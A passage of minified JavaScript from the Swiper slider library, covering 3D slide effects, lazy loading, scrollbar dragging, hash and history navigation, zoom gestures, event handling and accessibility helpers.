rotateX("+(b.isHorizontal()?0:t)+"deg) rotateY("+(b.isHorizontal()?-t:0)+"deg)")},setTransition:function(e){b.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),b.params.cube.shadow&&!b.isHorizontal()&&b.container.find(".swiper-cube-shadow").transition(e)}},coverflow:{setTranslate:function(){for(var e=b.translate,t=b.isHorizontal()?-e+b.width/2:-e+b.height/2,s=b.isHorizontal()?b.params.coverflow.rotate:-b.params.coverflow.rotate,i=b.params.coverflow.depth,r=0,n=b.slides.length;r<n;r++){var o=b.slides.eq(r),l=b.slidesSizesGrid[r],p=o[0].swiperSlideOffset,d=(t-p-l/2)/l*b.params.coverflow.modifier,u=b.isHorizontal()?s*d:0,c=b.isHorizontal()?0:s*d,m=-i*Math.abs(d),h=b.isHorizontal()?0:b.params.coverflow.stretch*d,g=b.isHorizontal()?b.params.coverflow.stretch*d:0;Math.abs(g)<.001&&(g=0),Math.abs(h)<.001&&(h=0),Math.abs(m)<.001&&(m=0),Math.abs(u)<.001&&(u=0),Math.abs(c)<.001&&(c=0);var f="translate3d("+g+"px,"+h+"px,"+m+"px) rotateX("+c+"deg) rotateY("+u+"deg)";if(o.transform(f),o[0].style.zIndex=-Math.abs(Math.round(d))+1,b.params.coverflow.slideShadows){var v=b.isHorizontal()?o.find(".swiper-slide-shadow-left"):o.find(".swiper-slide-shadow-top"),w=b.isHorizontal()?o.find(".swiper-slide-shadow-right"):o.find(".swiper-slide-shadow-bottom");0===v.length&&(v=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"left":"top")+'"></div>'),o.append(v)),0===w.length&&(w=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"right":"bottom")+'"></div>'),o.append(w)),v.length&&(v[0].style.opacity=d>0?d:0),w.length&&(w[0].style.opacity=-d>0?-d:0)}}if(b.browser.ie){var y=b.wrapper[0].style;y.perspectiveOrigin=t+"px 50%"}},setTransition:function(e){b.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e)}}},b.lazy={initialImageLoaded:!1,loadImageInSlide:function(e,t){if("undefined"!=typeof e&&("undefined"==typeof t&&(t=!0),0!==b.slides.length)){var s=b.slides.eq(e),i=s.find("."+b.params.lazyLoadingClass+":not(."+b.params.lazyStatusLoadedClass+"):not(."+b.params.lazyStatusLoadingClass+")");!s.hasClass(b.params.lazyLoadingClass)||s.hasClass(b.params.lazyStatusLoadedClass)||s.hasClass(b.params.lazyStatusLoadingClass)||(i=i.add(s[0])),0!==i.length&&i.each(function(){var e=a(this);e.addClass(b.params.lazyStatusLoadingClass);var i=e.attr("data-background"),r=e.attr("data-src"),n=e.attr("data-srcset"),o=e.attr("data-sizes");b.loadImage(e[0],r||i,n,o,!1,function(){if(i?(e.css("background-image",'url("'+i+'")'),e.removeAttr("data-background")):(n&&(e.attr("srcset",n),e.removeAttr("data-srcset")),o&&(e.attr("sizes",o),e.removeAttr("data-sizes")),r&&(e.attr("src",r),e.removeAttr("data-src"))),e.addClass(b.params.lazyStatusLoadedClass).removeClass(b.params.lazyStatusLoadingClass),s.find("."+b.params.lazyPreloaderClass+", ."+b.params.preloaderClass).remove(),b.params.loop&&t){var a=s.attr("data-swiper-slide-index");if(s.hasClass(b.params.slideDuplicateClass)){var l=b.wrapper.children('[data-swiper-slide-index="'+a+'"]:not(.'+b.params.slideDuplicateClass+")");b.lazy.loadImageInSlide(l.index(),!1)}else{var p=b.wrapper.children("."+b.params.slideDuplicateClass+'[data-swiper-slide-index="'+a+'"]');b.lazy.loadImageInSlide(p.index(),!1)}}b.emit("onLazyImageReady",b,s[0],e[0])}),b.emit("onLazyImageLoad",b,s[0],e[0])})}},load:function(){var e,t=b.params.slidesPerView;if("auto"===t&&(t=0),b.lazy.initialImageLoaded||(b.lazy.initialImageLoaded=!0),b.params.watchSlidesVisibility)b.wrapper.children("."+b.params.slideVisibleClass).each(function(){b.lazy.loadImageInSlide(a(this).index())});else if(t>1)for(e=b.activeIndex;e<b.activeIndex+t;e++)b.slides[e]&&b.lazy.loadImageInSlide(e);else b.lazy.loadImageInSlide(b.activeIndex);if(b.params.lazyLoadingInPrevNext)if(t>1||b.params.lazyLoadingInPrevNextAmount&&b.params.lazyLoadingInPrevNextAmount>1){var s=b.params.lazyLoadingInPrevNextAmount,i=t,r=Math.min(b.activeIndex+i+Math.max(s,i),b.slides.length),n=Math.max(b.activeIndex-Math.max(i,s),0);for(e=b.activeIndex+t;e<r;e++)b.slides[e]&&b.lazy.loadImageInSlide(e);for(e=n;e<b.activeIndex;e++)b.slides[e]&&b.lazy.loadImageInSlide(e)}else{var o=b.wrapper.children("."+b.params.slideNextClass);o.length>0&&b.lazy.loadImageInSlide(o.index());var l=b.wrapper.children("."+b.params.slidePrevClass);l.length>0&&b.lazy.loadImageInSlide(l.index())}},onTransitionStart:function(){b.params.lazyLoading&&(b.params.lazyLoadingOnTransitionStart||!b.params.lazyLoadingOnTransitionStart&&!b.lazy.initialImageLoaded)&&b.lazy.load()},onTransitionEnd:function(){b.params.lazyLoading&&!b.params.lazyLoadingOnTransitionStart&&b.lazy.load()}},b.scrollbar={isTouched:!1,setDragPosition:function(e){var a=b.scrollbar,t=b.isHorizontal()?"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageX:e.pageX||e.clientX:"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageY:e.pageY||e.clientY,s=t-a.track.offset()[b.isHorizontal()?"left":"top"]-a.dragSize/2,i=-b.minTranslate()*a.moveDivider,r=-b.maxTranslate()*a.moveDivider;s<i?s=i:s>r&&(s=r),s=-s/a.moveDivider,b.updateProgress(s),b.setWrapperTranslate(s,!0)},dragStart:function(e){var a=b.scrollbar;a.isTouched=!0,e.preventDefault(),e.stopPropagation(),a.setDragPosition(e),clearTimeout(a.dragTimeout),a.track.transition(0),b.params.scrollbarHide&&a.track.css("opacity",1),b.wrapper.transition(100),a.drag.transition(100),b.emit("onScrollbarDragStart",b)},dragMove:function(e){var a=b.scrollbar;a.isTouched&&(e.preventDefault?e.preventDefault():e.returnValue=!1,a.setDragPosition(e),b.wrapper.transition(0),a.track.transition(0),a.drag.transition(0),b.emit("onScrollbarDragMove",b))},dragEnd:function(e){var a=b.scrollbar;a.isTouched&&(a.isTouched=!1,b.params.scrollbarHide&&(clearTimeout(a.dragTimeout),a.dragTimeout=setTimeout(function(){a.track.css("opacity",0),a.track.transition(400)},1e3)),b.emit("onScrollbarDragEnd",b),b.params.scrollbarSnapOnRelease&&b.slideReset())},draggableEvents:function(){return b.params.simulateTouch!==!1||b.support.touch?b.touchEvents:b.touchEventsDesktop}(),enableDraggable:function(){var e=b.scrollbar,t=b.support.touch?e.track:document;a(e.track).on(e.draggableEvents.start,e.dragStart),a(t).on(e.draggableEvents.move,e.dragMove),a(t).on(e.draggableEvents.end,e.dragEnd)},disableDraggable:function(){var e=b.scrollbar,t=b.support.touch?e.track:document;a(e.track).off(b.draggableEvents.start,e.dragStart),a(t).off(b.draggableEvents.move,e.dragMove),a(t).off(b.draggableEvents.end,e.dragEnd)},set:function(){if(b.params.scrollbar){var e=b.scrollbar;e.track=a(b.params.scrollbar),b.params.uniqueNavElements&&"string"==typeof b.params.scrollbar&&e.track.length>1&&1===b.container.find(b.params.scrollbar).length&&(e.track=b.container.find(b.params.scrollbar)),e.drag=e.track.find(".swiper-scrollbar-drag"),0===e.drag.length&&(e.drag=a('<div class="swiper-scrollbar-drag"></div>'),e.track.append(e.drag)),e.drag[0].style.width="",e.drag[0].style.height="",e.trackSize=b.isHorizontal()?e.track[0].offsetWidth:e.track[0].offsetHeight,e.divider=b.size/b.virtualSize,e.moveDivider=e.divider*(e.trackSize/b.size),e.dragSize=e.trackSize*e.divider,b.isHorizontal()?e.drag[0].style.width=e.dragSize+"px":e.drag[0].style.height=e.dragSize+"px",e.divider>=1?e.track[0].style.display="none":e.track[0].style.display="",b.params.scrollbarHide&&(e.track[0].style.opacity=0)}},setTranslate:function(){if(b.params.scrollbar){var e,a=b.scrollbar,t=(b.translate||0,a.dragSize);e=(a.trackSize-a.dragSize)*b.progress,b.rtl&&b.isHorizontal()?(e=-e,e>0?(t=a.dragSize-e,e=0):-e+a.dragSize>a.trackSize&&(t=a.trackSize+e)):e<0?(t=a.dragSize+e,e=0):e+a.dragSize>a.trackSize&&(t=a.trackSize-e),b.isHorizontal()?(b.support.transforms3d?a.drag.transform("translate3d("+e+"px, 0, 0)"):a.drag.transform("translateX("+e+"px)"),a.drag[0].style.width=t+"px"):(b.support.transforms3d?a.drag.transform("translate3d(0px, "+e+"px, 0)"):a.drag.transform("translateY("+e+"px)"),a.drag[0].style.height=t+"px"),b.params.scrollbarHide&&(clearTimeout(a.timeout),a.track[0].style.opacity=1,a.timeout=setTimeout(function(){a.track[0].style.opacity=0,a.track.transition(400)},1e3))}},setTransition:function(e){b.params.scrollbar&&b.scrollbar.drag.transition(e)}},b.controller={LinearSpline:function(e,a){this.x=e,this.y=a,this.lastIndex=e.length-1;var t,s;this.x.length;this.interpolate=function(e){return e?(s=i(this.x,e),t=s-1,(e-this.x[t])*(this.y[s]-this.y[t])/(this.x[s]-this.x[t])+this.y[t]):0};var i=function(){var e,a,t;return function(s,i){for(a=-1,e=s.length;e-a>1;)s[t=e+a>>1]<=i?a=t:e=t;return e}}()},getInterpolateFunction:function(e){b.controller.spline||(b.controller.spline=b.params.loop?new b.controller.LinearSpline(b.slidesGrid,e.slidesGrid):new b.controller.LinearSpline(b.snapGrid,e.snapGrid))},setTranslate:function(e,a){function s(a){e=a.rtl&&"horizontal"===a.params.direction?-b.translate:b.translate,"slide"===b.params.controlBy&&(b.controller.getInterpolateFunction(a),r=-b.controller.spline.interpolate(-e)),r&&"container"!==b.params.controlBy||(i=(a.maxTranslate()-a.minTranslate())/(b.maxTranslate()-b.minTranslate()),r=(e-b.minTranslate())*i+a.minTranslate()),b.params.controlInverse&&(r=a.maxTranslate()-r),a.updateProgress(r),a.setWrapperTranslate(r,!1,b),a.updateActiveIndex()}var i,r,n=b.params.control;if(b.isArray(n))for(var o=0;o<n.length;o++)n[o]!==a&&n[o]instanceof t&&s(n[o]);else n instanceof t&&a!==n&&s(n)},setTransition:function(e,a){function s(a){ a.setWrapperTransition(e,b),0!==e&&(a.onTransitionStart(),a.wrapper.transitionEnd(function(){r&&(a.params.loop&&"slide"===b.params.controlBy&&a.fixLoop(),a.onTransitionEnd())}))}var i,r=b.params.control;if(b.isArray(r))for(i=0;i<r.length;i++)r[i]!==a&&r[i]instanceof t&&s(r[i]);else r instanceof t&&a!==r&&s(r)}},b.hashnav={onHashCange:function(e,a){var t=document.location.hash.replace("#",""),s=b.slides.eq(b.activeIndex).attr("data-hash");t!==s&&b.slideTo(b.wrapper.children("."+b.params.slideClass+'[data-hash="'+t+'"]').index())},attachEvents:function(e){var t=e?"off":"on";a(window)[t]("hashchange",b.hashnav.onHashCange)},setHash:function(){if(b.hashnav.initialized&&b.params.hashnav)if(b.params.replaceState&&window.history&&window.history.replaceState)window.history.replaceState(null,null,"#"+b.slides.eq(b.activeIndex).attr("data-hash")||"");else{var e=b.slides.eq(b.activeIndex),a=e.attr("data-hash")||e.attr("data-history");document.location.hash=a||""}},init:function(){if(b.params.hashnav&&!b.params.history){b.hashnav.initialized=!0;var e=document.location.hash.replace("#","");if(e){for(var a=0,t=0,s=b.slides.length;t<s;t++){var i=b.slides.eq(t),r=i.attr("data-hash")||i.attr("data-history");if(r===e&&!i.hasClass(b.params.slideDuplicateClass)){var n=i.index();b.slideTo(n,a,b.params.runCallbacksOnInit,!0)}}b.params.hashnavWatchState&&b.hashnav.attachEvents()}}},destroy:function(){b.params.hashnavWatchState&&b.hashnav.attachEvents(!0)}},b.history={init:function(){if(b.params.history){if(!window.history||!window.history.pushState)return b.params.history=!1,void(b.params.hashnav=!0);b.history.initialized=!0,this.paths=this.getPathValues(),(this.paths.key||this.paths.value)&&(this.scrollToSlide(0,this.paths.value,b.params.runCallbacksOnInit),b.params.replaceState||window.addEventListener("popstate",this.setHistoryPopState))}},setHistoryPopState:function(){b.history.paths=b.history.getPathValues(),b.history.scrollToSlide(b.params.speed,b.history.paths.value,!1)},getPathValues:function(){var e=window.location.pathname.slice(1).split("/"),a=e.length,t=e[a-2],s=e[a-1];return{key:t,value:s}},setHistory:function(e,a){if(b.history.initialized&&b.params.history){var t=b.slides.eq(a),s=this.slugify(t.attr("data-history"));window.location.pathname.includes(e)||(s=e+"/"+s),b.params.replaceState?window.history.replaceState(null,null,s):window.history.pushState(null,null,s)}},slugify:function(e){return e.toString().toLowerCase().replace(/\s+/g,"-").replace(/[^\w\-]+/g,"").replace(/\-\-+/g,"-").replace(/^-+/,"").replace(/-+$/,"")},scrollToSlide:function(e,a,t){if(a)for(var s=0,i=b.slides.length;s<i;s++){var r=b.slides.eq(s),n=this.slugify(r.attr("data-history"));if(n===a&&!r.hasClass(b.params.slideDuplicateClass)){var o=r.index();b.slideTo(o,e,t)}}else b.slideTo(0,e,t)}},b.disableKeyboardControl=function(){b.params.keyboardControl=!1,a(document).off("keydown",p)},b.enableKeyboardControl=function(){b.params.keyboardControl=!0,a(document).on("keydown",p)},b.mousewheel={event:!1,lastScrollTime:(new window.Date).getTime()},b.params.mousewheelControl&&(b.mousewheel.event=navigator.userAgent.indexOf("firefox")>-1?"DOMMouseScroll":d()?"wheel":"mousewheel"),b.disableMousewheelControl=function(){if(!b.mousewheel.event)return!1;var e=b.container;return"container"!==b.params.mousewheelEventsTarged&&(e=a(b.params.mousewheelEventsTarged)),e.off(b.mousewheel.event,u),!0},b.enableMousewheelControl=function(){if(!b.mousewheel.event)return!1;var e=b.container;return"container"!==b.params.mousewheelEventsTarged&&(e=a(b.params.mousewheelEventsTarged)),e.on(b.mousewheel.event,u),!0},b.parallax={setTranslate:function(){b.container.children("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(){m(this,b.progress)}),b.slides.each(function(){var e=a(this);e.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(){var a=Math.min(Math.max(e[0].progress,-1),1);m(this,a)})})},setTransition:function(e){"undefined"==typeof e&&(e=b.params.speed),b.container.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(){var t=a(this),s=parseInt(t.attr("data-swiper-parallax-duration"),10)||e;0===e&&(s=0),t.transition(s)})}},b.zoom={scale:1,currentScale:1,isScaling:!1,gesture:{slide:void 0,slideWidth:void 0,slideHeight:void 0,image:void 0,imageWrap:void 0,zoomMax:b.params.zoomMax},image:{isTouched:void 0,isMoved:void 0,currentX:void 0,currentY:void 0,minX:void 0,minY:void 0,maxX:void 0,maxY:void 0,width:void 0,height:void 0,startX:void 0,startY:void 0,touchesStart:{},touchesCurrent:{}},velocity:{x:void 0,y:void 0,prevPositionX:void 0,prevPositionY:void 0,prevTime:void 0},getDistanceBetweenTouches:function(e){if(e.targetTouches.length<2)return 1;var a=e.targetTouches[0].pageX,t=e.targetTouches[0].pageY,s=e.targetTouches[1].pageX,i=e.targetTouches[1].pageY,r=Math.sqrt(Math.pow(s-a,2)+Math.pow(i-t,2));return r},onGestureStart:function(e){var t=b.zoom;if(!b.support.gestures){if("touchstart"!==e.type||"touchstart"===e.type&&e.targetTouches.length<2)return;t.gesture.scaleStart=t.getDistanceBetweenTouches(e)}return t.gesture.slide&&t.gesture.slide.length||(t.gesture.slide=a(this),0===t.gesture.slide.length&&(t.gesture.slide=b.slides.eq(b.activeIndex)),t.gesture.image=t.gesture.slide.find("img, svg, canvas"),t.gesture.imageWrap=t.gesture.image.parent("."+b.params.zoomContainerClass),t.gesture.zoomMax=t.gesture.imageWrap.attr("data-swiper-zoom")||b.params.zoomMax,0!==t.gesture.imageWrap.length)?(t.gesture.image.transition(0),void(t.isScaling=!0)):void(t.gesture.image=void 0)},onGestureChange:function(e){var a=b.zoom;if(!b.support.gestures){if("touchmove"!==e.type||"touchmove"===e.type&&e.targetTouches.length<2)return;a.gesture.scaleMove=a.getDistanceBetweenTouches(e)}a.gesture.image&&0!==a.gesture.image.length&&(b.support.gestures?a.scale=e.scale*a.currentScale:a.scale=a.gesture.scaleMove/a.gesture.scaleStart*a.currentScale,a.scale>a.gesture.zoomMax&&(a.scale=a.gesture.zoomMax-1+Math.pow(a.scale-a.gesture.zoomMax+1,.5)),a.scale<b.params.zoomMin&&(a.scale=b.params.zoomMin+1-Math.pow(b.params.zoomMin-a.scale+1,.5)),a.gesture.image.transform("translate3d(0,0,0) scale("+a.scale+")"))},onGestureEnd:function(e){var a=b.zoom;!b.support.gestures&&("touchend"!==e.type||"touchend"===e.type&&e.changedTouches.length<2)||a.gesture.image&&0!==a.gesture.image.length&&(a.scale=Math.max(Math.min(a.scale,a.gesture.zoomMax),b.params.zoomMin),a.gesture.image.transition(b.params.speed).transform("translate3d(0,0,0) scale("+a.scale+")"),a.currentScale=a.scale,a.isScaling=!1,1===a.scale&&(a.gesture.slide=void 0))},onTouchStart:function(e,a){var t=e.zoom;t.gesture.image&&0!==t.gesture.image.length&&(t.image.isTouched||("android"===e.device.os&&a.preventDefault(),t.image.isTouched=!0,t.image.touchesStart.x="touchstart"===a.type?a.targetTouches[0].pageX:a.pageX,t.image.touchesStart.y="touchstart"===a.type?a.targetTouches[0].pageY:a.pageY))},onTouchMove:function(e){var a=b.zoom;if(a.gesture.image&&0!==a.gesture.image.length&&(b.allowClick=!1,a.image.isTouched&&a.gesture.slide)){a.image.isMoved||(a.image.width=a.gesture.image[0].offsetWidth,a.image.height=a.gesture.image[0].offsetHeight,a.image.startX=b.getTranslate(a.gesture.imageWrap[0],"x")||0,a.image.startY=b.getTranslate(a.gesture.imageWrap[0],"y")||0,a.gesture.slideWidth=a.gesture.slide[0].offsetWidth,a.gesture.slideHeight=a.gesture.slide[0].offsetHeight,a.gesture.imageWrap.transition(0),b.rtl&&(a.image.startX=-a.image.startX),b.rtl&&(a.image.startY=-a.image.startY));var t=a.image.width*a.scale,s=a.image.height*a.scale;if(!(t<a.gesture.slideWidth&&s<a.gesture.slideHeight)){if(a.image.minX=Math.min(a.gesture.slideWidth/2-t/2,0),a.image.maxX=-a.image.minX,a.image.minY=Math.min(a.gesture.slideHeight/2-s/2,0),a.image.maxY=-a.image.minY,a.image.touchesCurrent.x="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,a.image.touchesCurrent.y="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,!a.image.isMoved&&!a.isScaling){if(b.isHorizontal()&&Math.floor(a.image.minX)===Math.floor(a.image.startX)&&a.image.touchesCurrent.x<a.image.touchesStart.x||Math.floor(a.image.maxX)===Math.floor(a.image.startX)&&a.image.touchesCurrent.x>a.image.touchesStart.x)return void(a.image.isTouched=!1);if(!b.isHorizontal()&&Math.floor(a.image.minY)===Math.floor(a.image.startY)&&a.image.touchesCurrent.y<a.image.touchesStart.y||Math.floor(a.image.maxY)===Math.floor(a.image.startY)&&a.image.touchesCurrent.y>a.image.touchesStart.y)return void(a.image.isTouched=!1)}e.preventDefault(),e.stopPropagation(),a.image.isMoved=!0,a.image.currentX=a.image.touchesCurrent.x-a.image.touchesStart.x+a.image.startX,a.image.currentY=a.image.touchesCurrent.y-a.image.touchesStart.y+a.image.startY,a.image.currentX<a.image.minX&&(a.image.currentX=a.image.minX+1-Math.pow(a.image.minX-a.image.currentX+1,.8)),a.image.currentX>a.image.maxX&&(a.image.currentX=a.image.maxX-1+Math.pow(a.image.currentX-a.image.maxX+1,.8)),a.image.currentY<a.image.minY&&(a.image.currentY=a.image.minY+1-Math.pow(a.image.minY-a.image.currentY+1,.8)),a.image.currentY>a.image.maxY&&(a.image.currentY=a.image.maxY-1+Math.pow(a.image.currentY-a.image.maxY+1,.8)),a.velocity.prevPositionX||(a.velocity.prevPositionX=a.image.touchesCurrent.x),a.velocity.prevPositionY||(a.velocity.prevPositionY=a.image.touchesCurrent.y),a.velocity.prevTime||(a.velocity.prevTime=Date.now()),a.velocity.x=(a.image.touchesCurrent.x-a.velocity.prevPositionX)/(Date.now()-a.velocity.prevTime)/2,a.velocity.y=(a.image.touchesCurrent.y-a.velocity.prevPositionY)/(Date.now()-a.velocity.prevTime)/2,Math.abs(a.image.touchesCurrent.x-a.velocity.prevPositionX)<2&&(a.velocity.x=0),Math.abs(a.image.touchesCurrent.y-a.velocity.prevPositionY)<2&&(a.velocity.y=0),a.velocity.prevPositionX=a.image.touchesCurrent.x,a.velocity.prevPositionY=a.image.touchesCurrent.y,a.velocity.prevTime=Date.now(),a.gesture.imageWrap.transform("translate3d("+a.image.currentX+"px, "+a.image.currentY+"px,0)")}}},onTouchEnd:function(e,a){var t=e.zoom;if(t.gesture.image&&0!==t.gesture.image.length){if(!t.image.isTouched||!t.image.isMoved)return t.image.isTouched=!1,void(t.image.isMoved=!1);t.image.isTouched=!1,t.image.isMoved=!1;var s=300,i=300,r=t.velocity.x*s,n=t.image.currentX+r,o=t.velocity.y*i,l=t.image.currentY+o;0!==t.velocity.x&&(s=Math.abs((n-t.image.currentX)/t.velocity.x)),0!==t.velocity.y&&(i=Math.abs((l-t.image.currentY)/t.velocity.y));var p=Math.max(s,i);t.image.currentX=n,t.image.currentY=l;var d=t.image.width*t.scale,u=t.image.height*t.scale;t.image.minX=Math.min(t.gesture.slideWidth/2-d/2,0),t.image.maxX=-t.image.minX,t.image.minY=Math.min(t.gesture.slideHeight/2-u/2,0),t.image.maxY=-t.image.minY,t.image.currentX=Math.max(Math.min(t.image.currentX,t.image.maxX),t.image.minX),t.image.currentY=Math.max(Math.min(t.image.currentY,t.image.maxY),t.image.minY),t.gesture.imageWrap.transition(p).transform("translate3d("+t.image.currentX+"px, "+t.image.currentY+"px,0)")}},onTransitionEnd:function(e){var a=e.zoom;a.gesture.slide&&e.previousIndex!==e.activeIndex&&(a.gesture.image.transform("translate3d(0,0,0) scale(1)"),a.gesture.imageWrap.transform("translate3d(0,0,0)"),a.gesture.slide=a.gesture.image=a.gesture.imageWrap=void 0,a.scale=a.currentScale=1)},toggleZoom:function(e,t){var s=e.zoom;if(s.gesture.slide||(s.gesture.slide=e.clickedSlide?a(e.clickedSlide):e.slides.eq(e.activeIndex),s.gesture.image=s.gesture.slide.find("img, svg, canvas"),s.gesture.imageWrap=s.gesture.image.parent("."+e.params.zoomContainerClass)),s.gesture.image&&0!==s.gesture.image.length){var i,r,n,o,l,p,d,u,c,m,h,g,f,v,w,y,x,T;"undefined"==typeof s.image.touchesStart.x&&t?(i="touchend"===t.type?t.changedTouches[0].pageX:t.pageX,r="touchend"===t.type?t.changedTouches[0].pageY:t.pageY):(i=s.image.touchesStart.x,r=s.image.touchesStart.y),s.scale&&1!==s.scale?(s.scale=s.currentScale=1,s.gesture.imageWrap.transition(300).transform("translate3d(0,0,0)"),s.gesture.image.transition(300).transform("translate3d(0,0,0) scale(1)"),s.gesture.slide=void 0):(s.scale=s.currentScale=s.gesture.imageWrap.attr("data-swiper-zoom")||e.params.zoomMax,t?(x=s.gesture.slide[0].offsetWidth,T=s.gesture.slide[0].offsetHeight,n=s.gesture.slide.offset().left,o=s.gesture.slide.offset().top,l=n+x/2-i,p=o+T/2-r,c=s.gesture.image[0].offsetWidth,m=s.gesture.image[0].offsetHeight,h=c*s.scale,g=m*s.scale,f=Math.min(x/2-h/2,0),v=Math.min(T/2-g/2,0),w=-f,y=-v,d=l*s.scale,u=p*s.scale,d<f&&(d=f),d>w&&(d=w),u<v&&(u=v),u>y&&(u=y)):(d=0,u=0),s.gesture.imageWrap.transition(300).transform("translate3d("+d+"px, "+u+"px,0)"),s.gesture.image.transition(300).transform("translate3d(0,0,0) scale("+s.scale+")"))}},attachEvents:function(e){var t=e?"off":"on";if(b.params.zoom){var s=(b.slides,!("touchstart"!==b.touchEvents.start||!b.support.passiveListener||!b.params.passiveListeners)&&{passive:!0,capture:!1});b.support.gestures?(b.slides[t]("gesturestart",b.zoom.onGestureStart,s),b.slides[t]("gesturechange",b.zoom.onGestureChange,s),b.slides[t]("gestureend",b.zoom.onGestureEnd,s)):"touchstart"===b.touchEvents.start&&(b.slides[t](b.touchEvents.start,b.zoom.onGestureStart,s),b.slides[t](b.touchEvents.move,b.zoom.onGestureChange,s),b.slides[t](b.touchEvents.end,b.zoom.onGestureEnd,s)),b[t]("touchStart",b.zoom.onTouchStart),b.slides.each(function(e,s){a(s).find("."+b.params.zoomContainerClass).length>0&&a(s)[t](b.touchEvents.move,b.zoom.onTouchMove)}),b[t]("touchEnd",b.zoom.onTouchEnd),b[t]("transitionEnd",b.zoom.onTransitionEnd),b.params.zoomToggle&&b.on("doubleTap",b.zoom.toggleZoom)}},init:function(){b.zoom.attachEvents()},destroy:function(){b.zoom.attachEvents(!0)}},b._plugins=[];for(var O in b.plugins){var N=b.plugins[O](b,b.params[O]);N&&b._plugins.push(N)}return b.callPlugins=function(e){for(var a=0;a<b._plugins.length;a++)e in b._plugins[a]&&b._plugins[a][e](arguments[1],arguments[2],arguments[3],arguments[4],arguments[5])},b.emitterEventListeners={},b.emit=function(e){b.params[e]&&b.params[e](arguments[1],arguments[2],arguments[3],arguments[4],arguments[5]);var a;if(b.emitterEventListeners[e])for(a=0;a<b.emitterEventListeners[e].length;a++)b.emitterEventListeners[e][a](arguments[1],arguments[2],arguments[3],arguments[4],arguments[5]);b.callPlugins&&b.callPlugins(e,arguments[1],arguments[2],arguments[3],arguments[4],arguments[5])},b.on=function(e,a){return e=h(e),b.emitterEventListeners[e]||(b.emitterEventListeners[e]=[]),b.emitterEventListeners[e].push(a),b},b.off=function(e,a){var t;if(e=h(e),"undefined"==typeof a)return b.emitterEventListeners[e]=[],b;if(b.emitterEventListeners[e]&&0!==b.emitterEventListeners[e].length){for(t=0;t<b.emitterEventListeners[e].length;t++)b.emitterEventListeners[e][t]===a&&b.emitterEventListeners[e].splice(t,1);return b}},b.once=function(e,a){e=h(e);var t=function(){a(arguments[0],arguments[1],arguments[2],arguments[3],arguments[4]),b.off(e,t)};return b.on(e,t),b},b.a11y={makeFocusable:function(e){return e.attr("tabIndex","0"),e},addRole:function(e,a){return e.attr("role",a),e},addLabel:function(e,a){return e.attr("aria-label",a),e},disable:function(e){return e.attr("aria-disabled",!0),e},enable:function(e){return e.attr("aria-disabled",!1),e},onEnterKey:function(e){13===e.keyCode&&(a(e.target).is(b.params.nextButton)?(b.onClickNext(e),b.isEnd?b.a11y.notify(b.params.lastSlideMessage):b.a11y.notify(b.params.nextSlideMessage)):a(e.target).is(b.params.prevButton)&&(b.onClickPrev(e),b.isBeginning?b.a11y.notify(b.params.firstSlideMessage):b.a11y.notify(b.params.prevSlideMessage)),a(e.target).is("."+b.params.bulletClass)&&a(e.target)[0].click())},liveRegion:a('<span class="'+b.params.notificationClass+'" aria-live="assertive" aria-atomic="true"></span>'),notify:function(e){var a=b.a11y.liveRegion;0!==a.length&&(a.html(""),a.html(e))},init:function(){b.params.nextButton&&b.nextButton&&b.nextButton.length>0&&(b.a11y.makeFocusable(b.nextButton),b.a11y.addRole(b.nextButton,"button"),b.a11y.addLabel(b.nextButton,b.params.nextSlideMessage)),b.params.prevButton&&b.prevButton&&b.prevButton.length>0&&(b.a11y.makeFocusable(b.prevButton),b.a11y.addRole(b.prevButton,"button"),b.a11y.addLabel(b.prevButton,b.params.prevSlideMessage)),a(b.container).append(b.a11y.liveRegion)},initPagination:function(){b.params.pagination&&b.params.paginationClickable&&b.bullets&&b.bullets.length&&b.bullets.each(function(){var e=a(this);b.a11y.makeFocusable(e),b.a11y.addRole(e,"button"),b.a11y.addLabel(e,b.params.paginationBulletMessage.replace(/{{index}}/,e.index()+1))})},destroy:function(){b.a11y.liveRegion&&b.a11y.liveRegion.length>0&&b.a11y.liveRegion.remove()}},b.init=function(){b.params.loop&&b.createLoop(),b.updateContainerSize(),b.updateSlidesSize(),b.updatePagination(),b.params.scrollbar&&b.scrollbar&&(b.scrollbar.set(),b.params.scrollbarDraggable&&b.scrollbar.enableDraggable()),"slide"!==b.params.effect&&b.effects[b.params.effect]&&(b.params.loop||b.updateProgress(),b.effects[b.params.effect].setTranslate()),b.params.loop?b.slideTo(b.params.initialSlide+b.loopedSlides,0,b.params.runCallbacksOnInit):(b.slideTo(b.params.initialSlide,0,b.params.runCallbacksOnInit),0===b.params.initialSlide&&(b.parallax&&b.params.parallax&&b.parallax.setTranslate(),b.lazy&&b.params.lazyLoading&&(b.lazy.load(),b.lazy.initialImageLoaded=!0))),b.attachEvents(),b.params.observer&&b.support.observer&&b.initObservers(),b.params.preloadImages&&!b.params.lazyLoading&&b.preloadImages(),b.params.zoom&&b.zoom&&b.zoom.init(),b.params.autoplay&&b.startAutoplay(),b.params.keyboardControl&&b.enableKeyboardControl&&b.enableKeyboardControl(),b.params.mousewheelControl&&b.enableMousewheelControl&&b.enableMousewheelControl(),b.params.hashnavReplaceState&&(b.params.replaceState=b.params.hashnavReplaceState),b.params.history&&b.history&&b.history.init(),b.params.hashnav&&b.hashnav&&b.hashnav.init(),b.params.a11y&&b.a11y&&b.a11y.init(),b.emit("onInit",b)},b.cleanupStyles=function(){b.container.removeClass(b.classNames.join(" ")).removeAttr("style"),b.wrapper.removeAttr("style"),b.slides&&b.slides.length&&b.slides.removeClass([b.params.slideVisibleClass,b.params.slideActiveClass,b.params.slideNextClass,b.params.slidePrevClass].join(" 